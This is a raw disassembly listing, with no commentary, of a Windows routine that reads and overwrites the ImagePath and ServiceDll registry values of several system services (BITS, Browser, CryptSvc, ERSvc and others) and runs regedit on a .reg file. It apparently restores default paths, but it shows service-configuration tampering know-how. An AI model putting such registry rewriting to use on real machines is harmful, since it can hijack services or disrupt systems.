call fcn.004fa6c0
mov esi, eax
lea eax, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
mov eax, dword [ebp - 0x2c]
add esp, 0x10
cmp eax, 1
jne 0x4ceeea
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cedf9
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4ceda5
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x49cc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x49cc]
push str._system32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cede7
lea edx, [ebp - 0x49cc]
push str.System32_svchost.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cede7
push str._SystemRoot__system32_svchost.exe__k_BITSgroup
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov ecx, dword [ebp - 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4cee05
mov ecx, dword [ebp - 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4cee05
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push esi
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push edx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4ceef6
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call edi
test eax, eax
jne 0x4ceeae
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x8cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x8cc]
push str._system32qmgr.dll
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4ceede
lea eax, [ebp - 0x8cc]
push str.System32qmgr.dll
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4ceede
push str._SystemRoot_System32qmgr.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ServiceDll
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4ceef6
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x4cef17
mov ecx, dword [ebp - 0x28]
mov eax, 1
cmp ecx, eax
je 0x4cef17
cmp dword [ebp - 0x30], eax
je 0x4cef17
cmp dword [ebp - 0x34], eax
jne 0x4cf0c1
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cefde
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4cefa4
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x36cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x36cc]
push str._system32_svchost.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cefd4
lea eax, [ebp - 0x36cc]
push str.System32_svchost.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cefd4
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cf0c1
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
test eax, eax
jne 0x4cf087
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x9cc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x9cc]
push str._system32qmgr.dll
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cf0b7
lea ecx, [ebp - 0x9cc]
push str.System32qmgr.dll
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cf0b7
push str._SystemRoot_System32qmgr.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ServiceDll
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Browser
call fcn.004fa6c0
mov esi, eax
lea ecx, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push ecx
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, 1
je 0x4cf104
mov ecx, dword [ebp - 0x28]
mov eax, 1
cmp ecx, eax
je 0x4cf104
cmp dword [ebp - 0x30], eax
je 0x4cf104
cmp dword [ebp - 0x34], eax
jne 0x4cf2f5
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cf1ee
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4cf1af
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x4acc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x4acc]
push str._system32_svchost.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cf1e2
lea eax, [ebp - 0x4acc]
push str.System32_svchost.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cf1e2
jmp 0x4cf1b2
inc dword [ebp - 0x20]
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4cf1f1
inc dword [ebp - 0x20]
push esi
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cf2f0
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
test eax, eax
jne 0x4cf2b6
lea edx, [ebp - 0x134]
lea eax, [ebp - 0xacc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0xacc]
push str._system32_browser.dll
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cf2e6
lea edx, [ebp - 0xacc]
push str._SystemRoot_System32_browser.dll
push edx
call fcn.004f61e0
add esp, 8
test eax, eax
je 0x4cf2e6
push str._SystemRoot_System32_browser.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ServiceDll
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
cmp dword [ebp - 0x2c], eax
jne 0x4cf44c
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cf444
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4cf3be
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x37cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x37cc]
push str._system32_services.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cf438
lea eax, [ebp - 0x37cc]
push str.System32_services.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cf438
push str._SystemRoot__system32_services.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4cf415
mov ecx, dword [ebp - 0x20]
push str.4.....Browser
inc ecx
mov dword [ebp - 0x20], ecx
mov ecx, 0xf558a0
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
lea ecx, [ebp - 0x2b8]
push str.services.exe
push ecx
lea edx, [ebp - 0x634c]
push str._s_s
push edx
call fcn.004f175f
lea eax, [ebp - 0x634c]
push eax
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4cf447
inc dword [ebp - 0x20]
mov eax, 1
mov ecx, dword [ebp - 0x20]
test ecx, ecx
jle 0x4cf47e
push str.c:endpcacheBrowser.reg
call fcn.004abe70
add esp, 4
cmp eax, 1
jne 0x4cf472
push str.regedit.exe__s_Browser.reg
call fcn.004f2ce2
add esp, 4
mov dword [ebp - 0x20], 0
mov eax, 1
cmp dword [ebp - 0x24], eax
je 0x4cf491
cmp dword [ebp - 0x28], eax
je 0x4cf491
cmp dword [ebp - 0x2c], eax
jne 0x4cf5c1
push str.ClipSrv
call fcn.004fa6c0
push eax
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
add esp, 0x10
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cf5c1
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4cf568
lea edx, [ebp - 0x134]
lea eax, [ebp - 0xbcc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0xbcc]
push str._system32clipsrv.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cf5b7
lea edx, [ebp - 0xbcc]
push str.System32clipsrv.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cf5b7
push str._SystemRoot__system32clipsrv.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4cf594
lea eax, [ebp - 0x2b8]
push str.clipsrv.exe
push eax
lea ecx, [ebp - 0x5acc]
push str._s_s
push ecx
call fcn.004f175f
lea edx, [ebp - 0x5acc]
push edx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.cisvc
call fcn.004fa6c0
push eax
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
mov ecx, dword [ebp - 0x24]
mov eax, 1
add esp, 0x10
cmp ecx, eax
je 0x4cf5fa
cmp dword [ebp - 0x28], eax
je 0x4cf5fa
cmp dword [ebp - 0x2c], eax
jne 0x4cf70b
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cf70b
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
jne 0x4cf6b2
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x4bcc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x4bcc]
push str._system32cisvc.exe
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cf701
lea ecx, [ebp - 0x4bcc]
push str.System32cisvc.exe
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cf701
push str._SystemRoot__system32cisvc.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4cf6de
lea edx, [ebp - 0x2b8]
push str.cisvc.exe
push edx
lea eax, [ebp - 0x51cc]
push str._s_s
push eax
call fcn.004f175f
lea ecx, [ebp - 0x51cc]
push ecx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.CryptSvc
call fcn.004fa6c0
mov esi, eax
lea ecx, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push ecx
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, 1
je 0x4cf749
mov ecx, dword [ebp - 0x28]
mov eax, 1
cmp ecx, eax
je 0x4cf749
cmp dword [ebp - 0x2c], eax
jne 0x4cf930
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cf82c
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4cf7f2
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0xccc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0xccc]
push str._system32_svchost.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cf822
lea eax, [ebp - 0xccc]
push str.System32_svchost.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cf822
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cf92b
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
test eax, eax
jne 0x4cf8f1
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x38cc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x38cc]
push str._system32cryptsvc.dll
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cf921
lea edx, [ebp - 0x38cc]
push str.System32cryptsvc.dll
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cf921
push str._SystemRoot_System32cryptsvc.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ServiceDll
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
cmp dword [ebp - 0x30], eax
je 0x4cf93e
cmp dword [ebp - 0x34], eax
jne 0x4cfb20
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cfa21
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4cf9e7
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0xdcc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0xdcc]
push str._system32_svchost.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cfa17
lea eax, [ebp - 0xdcc]
push str.System32_svchost.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cfa17
push str._SystemRoot__system32_svchost.exe__k_NetworkService
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cfb20
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
test eax, eax
jne 0x4cfae6
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x4ccc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x4ccc]
push str._system32cryptsvc.dll
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cfb16
lea edx, [ebp - 0x4ccc]
push str.System32cryptsvc.dll
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cfb16
push str._SystemRoot_System32cryptsvc.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ServiceDll
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x52d6b0
call fcn.004fa6c0
push eax
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
mov ecx, dword [ebp - 0x24]
mov eax, 1
add esp, 0x10
cmp ecx, eax
je 0x4cfb59
cmp dword [ebp - 0x28], eax
je 0x4cfb59
cmp dword [ebp - 0x2c], eax
jne 0x4cfc6a
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cfc6a
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
jne 0x4cfc11
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0xecc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0xecc]
push str._system32Dfssvc.exe
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cfc60
lea ecx, [ebp - 0xecc]
push str.System32Dfssvc.exe
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cfc60
push str._SystemRoot__system32Dfssvc.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4cfc3d
lea edx, [ebp - 0x2b8]
push str.Dfssvc.exe
push edx
lea eax, [ebp - 0x5fcc]
push str._s_s
push eax
call fcn.004f175f
lea ecx, [ebp - 0x5fcc]
push ecx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.ERSvc
call fcn.004fa6c0
mov esi, eax
lea ecx, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push ecx
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, 1
jne 0x4cfe79
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cfd7a
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4cfd40
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x4dcc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x4dcc]
push str._system32_svchost.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cfd70
lea eax, [ebp - 0x4dcc]
push str.System32_svchost.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cfd70
push str._SystemRoot__system32_svchost.exe__k_WinErr
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cfe79
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
